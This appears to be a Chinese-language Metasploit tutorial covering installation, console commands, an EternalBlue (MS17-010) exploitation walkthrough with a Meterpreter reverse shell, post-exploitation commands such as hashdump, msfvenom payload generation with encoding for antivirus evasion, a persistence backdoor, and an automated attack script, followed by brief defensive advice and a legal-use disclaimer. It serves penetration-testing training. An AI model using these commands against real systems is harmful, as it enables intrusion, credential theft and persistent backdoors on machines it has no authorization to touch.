# **Metasploit Framework 全面指南:安装、使用与实战技巧**
Metasploit Framework 是 Kali Linux 中最强大的渗透测试工具之一,由 Rapid7 开发并维护。它集成了漏洞利用、Payload 生成、后渗透模块等功能,被广泛用于安全评估、红队演练和漏洞研究。
---
## **1. Metasploit Framework 简介**
Metasploit 是一个开源的渗透测试框架,包含以下核心组件:
- **漏洞利用(Exploits)**:针对已知漏洞的攻击代码(如 EternalBlue、Heartbleed)。
- **Payload**:攻击成功后执行的代码(如反向 Shell、Meterpreter)。
- **辅助模块(Auxiliary)**:信息收集、扫描、DoS 攻击等非直接利用模块。
- **后渗透模块(Post-Exploitation)**:权限提升、横向移动、数据窃取等。
**适用场景**:
- 渗透测试
- 漏洞验证(PoC)
- 安全研究
- 红队行动
---
## **2. 安装 Metasploit Framework**
### **在 Kali Linux 上安装**
Kali Linux 默认已安装 Metasploit,但可手动更新:
```bash
sudo apt update && sudo apt install metasploit-framework
msfupdate # 更新 Metasploit
```
### **在 Ubuntu/Debian 上安装**
```bash
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod +x msfinstall
./msfinstall
```
### **在 Windows/macOS 上安装**
- **Windows**:下载 [Metasploit Pro 试用版](https://www.metasploit.com/) 或使用 Kali WSL。
- **macOS**:通过 Homebrew 安装:
```bash
brew install metasploit
```
---
## **3. Metasploit 基础使用**
### **启动 Metasploit**
```bash
msfconsole # 进入交互式控制台
```
### **常用命令**
| 命令 | 说明 |
|------|------|
| `help` | 查看帮助 |
| `search [关键词]` | 搜索漏洞/模块(如 `search eternalblue`) |
| `use [模块路径]` | 加载模块(如 `use exploit/windows/smb/ms17_010_eternalblue`) |
| `show options` | 查看当前模块的配置选项 |
| `set [选项] [值]` | 设置参数(如 `set RHOSTS 192.168.1.100`) |
| `exploit` 或 `run` | 执行攻击 |
| `sessions -l` | 查看已建立的会话 |
| `sessions -i [ID]` | 进入会话(如 `sessions -i 1`) |
---
## **4. 实战示例:利用 EternalBlue 攻击 Windows**
### **步骤 1:扫描目标**
```bash
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.1.100
run
```
如果显示 `VULNERABLE`,说明目标存在漏洞。
### **步骤 2:利用漏洞获取 Meterpreter Shell**
```bash
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.50 # 你的 Kali IP
exploit
```
成功后会进入 `meterpreter` 会话。
### **步骤 3:后渗透操作**
```bash
sysinfo # 查看系统信息
getuid # 查看当前权限
hashdump # 提取密码哈希
screenshot # 截屏
shell # 进入系统 Shell
upload /path/file # 上传文件
```
---
## **5. 高级技巧**
### **1. 生成 Payload 并免杀(Bypass AV)**
```bash
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe -o payload.exe
```
使用编码器(如 `shikata_ga_nai`)提高免杀率:
```bash
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o payload_encoded.exe
```
### **2. 持久化后门**
```bash
run persistence -X -i 10 -p 4444 -r 192.168.1.50
```
- `-X`:开机自启动
- `-i 10`:每 10 秒尝试连接
- `-p 4444`:监听端口
### **3. 自动化攻击(Resource Script)**
创建脚本 `autoattack.rc`:
```
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.50
exploit -j
```
运行:
```bash
msfconsole -r autoattack.rc
```
---
## **6. 防御措施**
- **及时打补丁**:Metasploit 依赖漏洞利用,修补系统可有效防御。
- **禁用不必要的服务**(如 SMBv1)。
- **使用 EDR/XDR**(如 CrowdStrike、Microsoft Defender ATP)。
- **监控异常网络连接**(如 Meterpreter 的反向 Shell)。
---
## **7. 学习资源**
- **官方文档**:[Metasploit Docs](https://docs.metasploit.com/)
- **书籍**:《Metasploit渗透测试指南》
- **靶机练习**:[VulnHub](https://www.vulnhub.com/)、[Hack The Box](https://www.hackthebox.com/)
---
## **总结**
Metasploit Framework 是渗透测试的核心工具,熟练掌握后可以高效地进行漏洞利用、权限提升和横向移动。但请**仅用于合法授权测试**,避免触犯法律。建议在实验环境(如 VirtualBox + Metasploitable)中练习。